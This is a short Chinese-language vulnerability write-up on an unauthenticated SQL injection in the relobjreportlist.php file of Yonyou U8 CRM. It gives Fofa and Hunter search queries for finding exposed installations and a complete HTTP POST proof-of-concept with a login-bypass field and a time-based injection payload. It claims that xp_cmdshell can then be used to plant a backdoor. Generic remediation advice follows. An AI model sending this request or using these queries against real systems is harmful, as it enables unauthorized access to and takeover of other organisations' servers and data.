0x01 漏洞描述:
用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件,旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。
用友 U8 CRM客户关系管理系统relobjreportlist.php 文件存在SQL注入漏洞,未经身份验证的攻击者通过漏洞执行任意SQL语句,调用xp_cmdshell写入后门文件,执行任意代码,从而获取到服务器权限。
0x02 搜索语句:
Fofa:title="用友U8CRM"
Hunter:app.name="用友 CRM"
0x03 漏洞复现:
POST /config/relobjreportlist.php HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bgsesstimeout-;
DontCheckLogin=1&Action=CheckRelUser&typeID=1&objType=1&ids=1');WAITFOR DELAY '0:0:5'--
0x04 修复建议:
-
使用预编译语句:采用参数化查询和预编译语句(如Prepared Statements),可以确保输入数据作为参数处理,从而避免直接插入到SQL语句中。
-
输入验证:对用户输入进行严格验证,确保只接收合法范围内的数据。可以使用白名单策略,过滤掉所有非法字符。
-
最小权限原则:数据库账户应仅授予执行所需操作的最低权限,避免使用高权限账户连接数据库。
-
错误信息处理:避免在前端展示详细的数据库错误信息,以免泄露系统结构和数据库信息。
-
使用Web应用防火墙(WAF):部署WAF可以实时监测和拦截可疑请求,提供第一道防线。